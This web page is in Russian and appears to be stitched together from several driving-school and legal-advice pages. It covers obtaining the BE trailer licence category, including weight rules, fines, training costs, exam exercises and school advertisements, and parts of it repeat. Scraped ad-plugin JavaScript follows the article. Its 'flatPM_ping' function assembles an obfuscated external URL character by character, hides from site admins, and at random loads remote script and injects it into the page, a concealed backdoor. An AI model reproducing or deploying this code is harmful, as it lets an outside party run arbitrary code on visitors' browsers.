Открыть категорию be

Как открыть водительские права категории «ВЕ»

Для управления машиной с тяжелым прицепом необходима категория BЕ в водительских правах. Управлять этим автопоездом без прав соответствующей категории запрещается правилами. Водитель за данное нарушение может попасть под административную ответственность, в соответствии с ПДД и КоАП РФ.

Поэтому стоит рассмотреть более подробно такие вопросы, как: какая перспектива открывается перед водителем, если он откроет ВЕ-категорию в удостоверении, какие машины сможет обслуживать, как получить категорию ВЕ, какими упражнениями должен виртуозно владеть, чтобы сдать экзамен на открытие «BE» в правах.

Категория «ВЕ» в водительских правах

Отметка ВЕ в удостоверении водителя (ВУ) свидетельствует только об одном: их обладатель имеет право управлять автомобилем с тяжелым прицепом, но при этом должен выполнять определенные требования в связи с особенностями эксплуатации ТС этого типа.

Главное для водителя, сидящего за баранкой авто с тяжелым прицепом, обладать навыками вождения, которые позволят избежать аварийных ситуаций на дороге.

Управлять автомобилем, который находится в сцепке с прицепом, очень сложно. Поэтому требуется специальная подготовка, чтобы открыть категорию, а затем и эксплуатировать автомобиль на многокилометровых магистралях.

Минутку внимания! Прежде, чем получить категорию ВЕ, в правах должна стоять категория «В», открытая 1 год (и более) назад.

Водителя, управляющего ТС категории “В” при отсутствии в правах этой отметки, ждет административное наказание в виде денежного штрафа. Сумма устанавливается индивидуально в зависимости от ситуации и составляет от 5 тыс. до 15 тыс. руб. В момент задержания водителя отстраняют от управления, машину отправляют на штрафстоянку.

На каких авто можно ездить с категорией «ВЕ»?

Под категорию ВЕ попадают:

  1. Автотранспортные средства В-категории с прицепом. Максимально-разрешенная масса прицепа в этом варианте — свыше 750 кг. Он вполне может превысить вес самой машины без нагрузки и в данном случае масса машины никакой роли здесь не играет;
  2. К категории ВЕ относятся машины также из В-категории, имеющие сцепку с прицепом. Но здесь есть одно условие, которое заключается в том, что вес прицепа (максимально разрешенный) может иметь массу свыше 750 кг, а сам транспортный состав по показателю максимального веса обязательно должен превысить 3500 кг.

Если по первому пункту (относительно автомобиля с прицепом) сотрудники дорожной службы хорошо осведомлены и не задают каких-либо лишних вопросов, то по второму пункту споры водителей с гаишниками не утихают. Правоохранители постоянно игнорируют это определение и придираются к водителям. Вопрос этот является спорным, поэтому стоит еще раз хорошенько все разобрать, в частности, надо или нет открывать категорию ВЕ, если вы любитель караванинга и не представляете себе отдых без прицепного домика.

Права на кемпер: нужна ли «ВЕ»?

Если максимально-разрешенный вес прицепа меньше массы автомобиля В-категории, к которому прицеп прикреплен, но одновременно с этим выполняется условие, что масса всего состава в сцепке меньше 3 500 кг, то для управления им будет допущен водитель, имеющий удостоверение с открытой В-категорией.

Если водитель получил ВУ, дающее ему право управлять всеми видами транспорта категории «В», «С», «D», то он также может взять на себя управление машины с прицепом, разрешенная масса которого меньше 750 кг.

В том случае, если прицеп будет иметь массу больше 750 кг, то обладателю прав с открытыми категориями «В», «С», «D» нельзя будет управлять таким составом, пока в его ВУ не появится разрешающая отметка «Е»-категории.

На деле получается, что если максимально-разрешенный вес всего состава превысит 3500 кг, то заниматься его буксировкой имеет право только тот водитель, в водительском удостоверении которого стоят категории «В» + «Е», «C» + «Е» или «D» + «Е».

Вот готовый пример: к автомобилю, полная масса которого при взвешивании составила 2 600 кг, подцепили прицеп массой (полной) 1 100 кг. Суммарная масса этого состава стала равной 3 700 кг. Чтобы управлять им необходимо наличие категорий «В» + «E» либо «C» + «E». А вот в случае, если открыта «В» + «E» -категория, то тормозная система прицепа должна быть инерционной и масса его без груза должна быть меньше снаряженной массы автомобиля-тягача.

Всегда в руководстве по эксплуатации автомобиля содержится информация о разрешенной массе прицепа, и если следовать им, то никаких проблем не будет.

Как открыть категорию «ВЕ»

Во время замены водительского документа категория BE должна быть проставлена автоматически в том случае, если в старых правах уже была открыта Е-категория. Всем остальным придется получать ее поэтапно:

  • воспользоваться услугами автошколы, где проводится обучение будущих водителей ТС для получения удостоверения той категории, которая удовлетворяет их запросы;
  • перед тем, как приступить к обучению, необходимо оплатить его;
  • пройти теоретическую подготовку для сдачи экзамена на требуемую категорию и курс практического вождения;
  • успешно пройти все экзаменационные тесты по теории и практике вождения;
  • стать обладателем водительского документа, где будет открыта ВЕ-категория при получении его в ГИБДД.

Получение медсправки

Вам не избежать прохождения медкомиссии, которая засвидетельствует отсутствие отклонений в вашем здоровье. Эти отклонения могут быть препятствием на пути к получению прав той категории, которая разрешает управление автомобилем с прицепом. Иными словами, на руках у вас должна быть медицинская справка. Небольшая рекомендация: получите медсправку заранее, до того, как вы отнесете документы в автошколу и оплатите обучение. Если будут выявлены отклонения, то о получении категории прав BE можете и не мечтать.

Как проходит обучение в автошколе на «ВЕ»

Много времени не требуется для получения ВУ с правом управлять автомобилем с прицепом. Срок обучения на категорию ВЕ всего лишь 1 мес. В курс обучения включено:

  • посещение занятий по теории вождения и Правилам дорожного движения. Хотя этот пункт не является обязательным, и ученик может сам для себя решить, посещать эти занятия в автошколе или самостоятельно вести подготовку. Такое отношение к ученикам складывается по той причине, что все они уже имеют В-категорию и долгое время работают.
  • обучение навыкам вождения автомобиля с прицепом и подготовка к выполнению специальных упражнений на автодроме для получения аттестации;
  • прохождение экзамена, проводимого автошколой, с правом получения свидетельства об успешном окончании школы и получении права на допуск к экзамену в ГИБДД.

На стоимость обучения на права категории BE оказывает влияние регион проживания. В среднем по стране эта услуга составляет от 15 тыс. руб. до 18 тыс. руб., сюда же входит плата за практические занятия по вождению автомобиля с прицепом.

Экзамен на «ВЕ»

Экзамен проводится в Госавтоинспекции, где разработана трехступенчатая система проверки знаний. Причем на каждой ступени отсеиваются те водители, которые не показывают крепких знаний для получения категории ВЕ в правах.

В теоретической части экзамена предстоит ответить на 20 вопросов. Разрешается допустить только 2 ошибки, которые не прощаются экзаменаторами. Если будет сделана 1 ошибка, то экзаменуемый дополнительно должен ответить на 5 вопросов правильно. Ну а если будет допущено 2 ошибки, то добавят сразу 10 дополнительных вопросов. И только верные ответы помогут получить зачет за теоретический экзамен.

2. Экзамен на автодроме

Несколько специальных упражнений на площадке автодрома должен пройти водитель, управляющий автосоставом, чтобы стало понятно, достоин он получения водительского удостоверения с категорией BE, или требуется время на дополнительную подготовку.

Экзамен по практическому вождению включает в себя 4 упражнения: (с 1 сентября 2016 года количество упражнений увеличено до четырех)

  1. упр. №9 — в начале сцепка прицепа с автомобилем, затем расцепление;
  2. упр. №10 — полная остановка автомобиля для посадки или высадки пассажиров;
  3. упр. №11 — заезд в ангар задним ходом. Здесь нужна особая точность, т.к. этот маневр предполагает «задом» прицепа на 90° и умение вписываться в установленную рамку;
  4. упр.№12 — выполнение параллельной парковки у платформы, где осуществляется погрузка.

Из четырех упражнений в идеале нужно все выполнить на отлично. Но если водитель ошибется только в одном случае и сразу исправит свою ошибку, то все равно получит зачет.

3. Езда по городу

Кажется, что здесь все понятно, и чтобы открыть категорию BE придется водителю на автомобиле с подцепленным прицепом выезжать на трассу точно также, как это было при сдаче на права В-категории. Ознакомиться с маршрутами следования можно с помощью официального сайта ГИБДД. Это дает возможность водителю провести подготовку заранее, уточнив, какие знаки встречаются по дороге и какова траектория дорожного полотна.

На этом проверка водителя закончится и он, в случае успешного прохождения всех экзаменов, будет иметь право путешествовать по дорожным магистралям на авто с прицепом на вполне законных основаниях после получения соответствующей отметки в ВУ.

Получить права с открытой категорией ВЕ в ГИБДД может каждый прошедший обучение и водить автомобиль с прицепом в соответствии с ПДД.

Позвоните по номеру +7 (499) 455-12-39 (МСК и МО), +7 (812) 426-14-93 (СПб и ЛО) и 8 (800) 500-27-29 доб.697 (общий) и наш автоюрист БЕСПЛАТНО ответит на все Ваши вопросы.

Автошкола: обучение на категорию «BE» — вождение легкового автомобиля с прицепом

Стоимость обучения на права категории BE

Получите дополнительно
при регистрации по телефону +7 (495) 122-00-15
подарок из семи бонусов от нашего холдинга и VIP-курс «УЧИ ПДД играя!»

Кто может сдать на категорию BE

На обучение и сдачу на права принимаются лица:

  • имеющие водительское удостоверение категории «В»;
  • имеющие стаж управления ТС категории «В» не менее одного года;
  • прошедшие медосвидетельствование и имеющие медсправку установленного образца.

Подготовка водителей на категорию «ВЕ» включает в себя:

  1. Теория — 16 часов;
  2. Практика вождения — 16 часов (легковые автомобили Mitsubishi L200, Citroen Berlingo или ГАЗ-3110 с прицепом 82901, 83101 «Тонар»).

Общее время обучения: 1-1,5 месяца.

Подготовка в Центральной автошколе Москвы

Теоретические занятия

Обучиться теории будущие водители легковых автомобилей могут в любом из 58 учебных классов Центральной автошколы Москвы, расположенных во всех районах Москвы в местах лучшей досягаемости. Наша задача — создать ученикам удобное и комфортное обучение! Мы 30 лет шлифовали эту МИССИЮ!

Для посещения теоретических занятий Вы можете выбрать любой из предлагаемых вариантов: будни: утро/вечер; выходные: утро/день.

Занятия можно посещать по индивидуальному графику занятий. После обучения, 94 % наших учащихся сдают теоретический экзамен в ГИБДД с первого раза!

Практические занятия на автомобиле

Обучение вождению состоит из двух частей – упражнения на учебной площадке и вождение автомобиля в условиях реального дорожного движения. Занятия проводятся на нашей собственной, специально оборудованной, учебной площадке. Доброжелательные и лучшие мастера вождения Москвы помогут Вам освоить управление автомобилем и безопасно им управлять и полюбить дорогу.

В 2018 году 4 мастера обучения вождению Центральной автошколы признаны в Москве — «Лучшими по профессии»!

Упражнения для экзамена в ГИБДД на категорию ВЕ

Для сдачи на право управления автомобиля с прицепом необходимо выполнить следующие упражнения:

  • «Сцепление и расцепление или расцепление и повторное сцепление прицепа с тягачом»;
  • «Маневрирование в ограниченном пространстве, остановка для безопасной посадки или высадки пассажиров»;
  • «Движение и маневрирование задним ходом, въезд в бокс задним ходом»;
  • «Парковка транспортного средства и выезд с парковочного места, парковка для погрузки (разгрузки) на погрузочной эстакаде (платформе)». На экзамене в ГИБДД в условиях реального дорожного движения проверяется:
  • проезд регулируемого перекрёстка (при его наличии);
  • проезд нерегулируемого перекрёстка равнозначных дорог (при его наличии);
  • проезд нерегулируемого перекрёстка неравнозначных дорог;
  • левые, правые повороты и разворот на перекрёстках;
  • разворот вне перекрёстка;
  • проезд железнодорожного переезда (при его наличии);
  • перестроение на участке дороги, имеющей 2 или более полосы для движения в одном направлении (при их наличии);
  • обгон или опережение;
  • движение с максимальной разрешённой скоростью;
  • проезд пешеходных переходов и остановок маршрутных транспортных средств;
  • торможение и остановка при движении на различных скоростях.

В случае несдачи экзамена, повторная попытка — БЕСПЛАТНО!

Сдача экзамена

Финальной частью обучения на категорию «ВE» является сдача экзаменов на права в ГИБДД, которые проходят непосредственно на территории автошколы. Большим преимуществом является то, что практический экзамен проводится на автомобилях автошколы, на которых проходили занятия.

Автошкола Аргос

  1. Главная
  2. Цены
  3. Обучение на категорию Е (BE)

Обучение на категорию Е (BE)

Права категории Е на легковой авто с прицепом

Цена обучения:
15 500 руб
В стоимость входит:
  • Теоретическая подготовка + комплект учебной литературы
  • Практическое вождение
  • Полный пакет документов для сдачи экзамена в ГИБДД
  • Организация экзаменов: внутреннего и ГАИ
  • Свободный график на вождение с инструктором

В декабре начало занятий новых групп: вечерняя и выходного дня.

> Все об экзаменах

> Вопросы и ответы

Полная стоимость обучения на категорию ВЕ на легковой автомобиль с прицепом (категории О2 — до 3,5т) 15 500 рублей.

Теоретическая часть — 4 300 рублей.

Практическое вождение — 11 200 руб (16 часов).

Экзамен ГИБДД проводится на площадке автошколы, на нашем транспортном средстве.

Для обучения используется автомобиль HUNDAI PORTER с прицепом.

В стоимость также включены: подготовка всех необходимых документов для ГИБДД, горюче-смазочные материалы, страховка состава транспортных средств, внутренние экзамены, первичная сдача экзамена в ГИБДД.

Срок обучения составляет 1 месяц. Чтобы получить права категории ВЕ необходимо иметь общий водительский стаж по категории «В» не менее 1 года.

  • утренние (ПН,СР или ВТ,ЧТ с 10:00 — до 12:00);
  • вечерние (ПН,СР или ВТ,ЧТ с 19:00 — до 21:00);
  • выходного дня (СБ или ВС с 10:00 — до 14:00).

Обучение на категорию BE

Для выполнения определенных задач, грузоподъемности легкового автомобиля не всегда может оказаться достаточно. Выходом из данной ситуации является установка прицепа, но для управления таким составом нужны права категории BE, которые можно открыть в нашей автошколе. Мы регулярно ведем набор в группу, где опытные инструкторы обучат вождению легкового автомобиля с прицепом. Получить права данной категории вы сможете после обучения и успешной сдачи экзаменов инспектору ГИБДД, что также можно сделать прямо в нашем учебном центре.

Наше учреждение является государственным, поэтому цены на обучение у нас заметно ниже чем в частных автошколах.

В стоимость обучения входит полный теоретический курс и курс практических занятий на автомобиле Mitsubishi L200 с прицепом. Для оттачивания навыков в нашей автошколе имеется собственный удобный полигон, а изучить правила дорожного движения для категории BE вы сможете в классах, оборудованных компьютерами и специальными обучающими программами. Также, если вы не готовы приступать к практическим занятиям, начальные навыки вождения вы сможете получить в кабинете с современными автотренажерами.

График занятий на категорию BE построен специальным образом, чтобы вы могли совмещать курсы с основной работой или обучением. Уроки теории проходят по субботам и воскресеньям с 10:00 до 12:00, а также теоретические занятия вы можете пройти дистанционно. Практические занятия на автомобилях данной категории с прицепом проводятся в субботу и воскресенье с 8.00 до 17.00, а также в будние дни по договоренности.

  • Щёлковская
  • Бульвар Рокоссовского
  • Локомотив
  • Новокосино

Для получения водительских прав категории «BE» необходимо сдать государственные квалификационные экзамены:

  • 20 вопросов по правилам дорожного движения;
  • вождение — практический экзамен, который проводится на нашей площадке и по нашим маршрутам, на тех же автомобилях, на которых проходило обучение.

Если вам нужна более подробная информация о том, как открыть категорию в нашей автошколе, вы всегда можете позвонить по указанному телефону. Квалифицированные специалисты всегда помогут в разрешении спорных ситуаций и проконсультируют относительно интересующих вопросов. Выдача водительских удостоверений осуществляется в том же МОГТОРЭР №5 ГИБДД ГУ МВД России по г. Москве (Варшавское ш., д. 170Д).

Категория прав ВЕ — легковые автомобили с прицепом

Многих автовладельцев постигло истинное разочарование, когда были внесены поправки в Законодательство «О допуске к управлению транспортными средствами». Категория прав BE должна быть открыта у каждого водителя, управляющего легковым автомобилем с прицепом, не удовлетворяющим требованиями для «В» в водительском удостоверении. Если бы получить ВУ можно было сдав экзамены экстерном без переподготовок, обучений и бесконечных денежных трат, это еще можно было пережить, но современные реалии диктуют иные правила.

Здесь мы детально осветим, как получить и открыть категорию прав BE, что это такое и какие характеристики должны быть у прицепа.

Водительские права категории БЕ — что это значит и как расшифровывается аббревиатура BE

Водителям автомобиля, находящегося в сцепке с тяжелыми прицепами или выходящими в тандеме за рамки максимально допустимого веса необходимо знать, что при встрече с сотрудниками ГИБДД их может ожидать солидный штраф за отсутствие категории ВЕ в правах (5-15 тыс. руб.). BE в водительском удостоверении понадобится когда:

  • В свидетельстве о регистрации прицепа указана разрешенная максимальная масса больше чем 750 кг., и она превышает вес автомобиля без нагрузки (эту цифру можно отыскать в СТС автотранспорта);
  • Вес прицепа больше 750 килограмм (максимально разрешенный), а суммарный тоннаж автопоезда переваливает отметку в 3,5 тонны.

Конечно можно открыть категорию BE, но лучше, все же, на начальной стадии подобрать «повозку», соответствующую «B» в ВУ. Если это затруднительно и автомобиль используется для перевозки дома на колесах, катера или иных массивных и тяжеловесных конструкций, придется проходить обучение в лицензированном учреждении, и только после, получить водительские права в ГИБДД.

Как открыть ВЕ в водительском удостоверении

Если в старых правах у водителя была категория E, то BE должна быть проставлена автоматически при замене водительского удостоверения на новое. В иных случаях предстоит пройти специальную подготовку и сдать экзамен в ГИБДД. Об этом ниже.

Обязательное требование к кандидатам, желающим управлять транспортными средствами с тяжеловесными прицепами — это наличие открытой категории В не менее 1 года с момента выдачи. При меньшем стаже вождения добавить e к b в правах не получится. Это требование зиждется на повышении безопасности дорожного движения и снижении аварийности с участием новичков на дороге.

Прохождение медкомиссии

Сперва необходимо пройти медкомиссию и получить медицинскую справку, свидетельствующую об отсутствии противопоказаний к управлению автомобилем с прицепом. Список необходимых врачей описан в соответствующей статье, поэтому не станем заострять на нем внимание. Мы рекомендуем соблюдать эту последовательность и получить медсправку до посещения автошколы с деньгами и комплектом для поступления, так как при наличии проблем со здоровьем о категории прав BE, а вместе с ней и об обучении, придется забыть.

Обучение в автошколе

Получить право управления автомобиля с прицепом займет немного времени — срок обучения на категорию ВЕ, в среднем, составляет 1 месяц и включает в себя:

  • Прохождение теоретического курса. Так как «B» уже открыта в водительском удостоверении — восполнить знания можно самостоятельно без посещения автошколы. Выбор остается за учеником.
  • Преподавание навыков вождения автомобилей с прицепом и выполнение специфических упражнений на автодроме;
  • Сдача внутреннего экзамена и получение свидетельства об успешном прохождении обучения. Этот документ является основанием для допуска к проверке знаний и умений в ГИБДД.

Стоимость обучения на права категории BE зависит от региона проживания. Если брать среднюю цифру по стране, то вышеозначенные услуги стоят в районе 15000 рублей, с учетом преподавания практики управления транспортным средством с прицепом.

Сдача экзаменов в ГИБДД

В Госавтоинспекции предусмотрена трехступенчатая проверка знаний будущих автомобилистов. Каждая ступень отсеивает лиц, имеющих недостаточные познания для получения категории ВЕ в правах.

Первый этап: экзамен по теории

Он состоит из 20 вопросов, в которых допустимо совершить 2 ошибки. Но они могут дорого стоить — за каждую ошибку даются дополнительные вопросы, на которые допускаются ответы, исключительно без ошибок. За одну ошибку прибавят дополнительные 5 вопросов, за две — десять.

Второй этап: экзамен на автодроме

Для получения водительского удостоверения с категорией BE будущий водитель «легкового автопоезда» должен сдать несколько упражнений на специально подготовленной площадке. Демонстрировать предстоит следующие упражнения:

  • Заезд в гараж задним ходом — тут нужна действительно ювелирная точность, чтобы «заломить» прицеп на 90 градусов и вписаться в установленные рамки;
  • Езда «задом» по коридору, обозначенному конусами.
  • Сцепка прицепа с авто.
  • Маневры в ограниченном пространстве.
  • Параллельная парковка;
  • Остановка.

На площадке не допускается совершать ошибки и пересдать их на месте.

Третий этап: езда по городу

Тут без каких-либо сюрпризов, чтобы открыть категорию BE экзаменуемый должен проехать на автомобиле с прицепом, также, как при получении прав на «B». Маршруты движения можно посмотреть на официальном сайте ГИБДД и подготовиться к экзамену заранее, изучив все знаки и тонкости преодоления этих траекторий.

Вот такие проверки предстоит пройти автолюбителю, чтобы законно передвигаться по дорогам общего пользования с прицепом. Нужно это было или нет? — решайте сами. После прохождения всех испытаний водитель может получить права с открытой категорией ВЕ в ГИБДД и управлять автомобилем, не переживая о возможных нападках со стороны инспекторов ДПС при проверке документов.

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0 *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex");var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|?\w+;/,c={option:[1,""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,r,l,n=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=n.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(o,"<$1>$2>")+r[2],l=r[0];l--;)a=a.lastChild;for(n.removeChild(n.firstChild);a.firstChild;)n.appendChild(a.firstChild)}else n.appendChild(t.createTextNode(e));return n}}();function flatPM_ping(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"ng"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var n=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,l='
'+a+" через "+o+'
'+r+'
',i=e.once;n(t).each(function(){var e=n(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==l.indexOf("go"+"oglesyndication")?t.append(l):flatPM_setHTML(t[0],l),e.find(".flat__4_video_flex").one("click",function(){n(this).addClass("show")})}),n("body").on("click",".flat__4_video_item_hover",function(){var e=n(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),r=parseInt(o),l=setInterval(function(){a.text(--r),r<=0&&(clearInterval(l),"true"==d?a.parent().replaceWith(''):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){n(this).closest(".flat__4_video_flex").remove(),"true"==i&&n(".flat__4_video_flex").remove()})}